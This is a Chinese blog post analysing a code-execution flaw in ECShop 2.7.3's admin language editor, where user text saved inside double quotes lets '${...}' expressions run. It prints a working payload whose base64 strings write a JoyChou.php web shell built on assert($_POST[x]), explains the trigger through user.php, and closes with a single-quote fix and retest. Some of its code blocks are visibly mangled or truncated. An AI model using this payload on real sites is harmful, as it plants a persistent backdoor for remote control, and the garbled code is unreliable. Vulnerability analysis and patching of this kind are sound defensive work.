分享

ecshop后台语言项执行漏洞详解(2)

 qianghuiyong 2016-03-28

      漏洞产生原因

      在admin\edit_languages.php文件中第120行,修改变量内容,注意是用的双引号。

for ($i = 0; $i < count($_post['item_id']);="" $i++)="" {="" 语言项内容如果为空,不修改="" */="" if="" (trim($_post['item_content'][$i])="=" '')="" {="" unset($src_items[$i]);="" }="" else="" {="" $_post['item_content'][$i]="str_replace('\\\\n'," '\\n',="" $_post['item_content'][$i]);="" $_post['item_content'][$i]是修改后增加的内容,即增加的'用户信息${${fputs(fopen'等内容="" $dst_items[$i]="" 是="" $_lang['label_profile']='用户信息${${fputs(fopen' ;="" */="" $dst_items[$i]="$_POST['item_id'][$i]" .'='. ' ''="" .$_post['item_content'][$i].="" '';';="" }="" }="">

      修改完后文件\languages\zh_cn\user.php变量为:注意是双引号哦

$_LANG['label_profile'] = '用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}}';

      由于是双引号,所以只要在任意的php文件中引用这个变量,代码就会成功执行。

      至于为什么可以执行?原理如下:

      下面这三句话都可以执行,与其说代码执行,不如说参数执行。

')}}'; $d = 'asdf{${phpinfo()}}'; // {字符前可以随意加字符串 ?>

      而http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php这个文件包含\languages\zh_cn\user.php 这个文件,所以也可以代码执行。

/* 载入语言文件 */ require_once(ROOT_PATH . 'languages/' .$_CFG['lang']. '/user.php'); 5. 漏洞修复

      了解了漏洞原理后,修复就是一件比较简单的事情,只需将双引号改为单引号

      修改\admin\edit_languages.php

// 修复前 $dst_items[$i] = $_POST['item_id'][$i] .' = '. ''' .$_POST['item_content'][$i]. '';'; // 修复后,由于想在单引号之间出现单引号,必须使用转义。 $dst_items[$i] = $_POST['item_id'][$i] .' = '. '\'' .$_POST['item_content'][$i]. '\';';

      修复后,测试一下,是否还有漏洞。

      再次修改“用户信息”内容为之前修改的内容。打开\languages\zh_cn\user.php可以看到变量已经变为了单引号

      再次访问http://www./ECShop_V2.7.3_UTF8_release0411/user.php已经不能生成JoyChou.php,代码没能得到执行。

      (责任编辑:最模板)

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多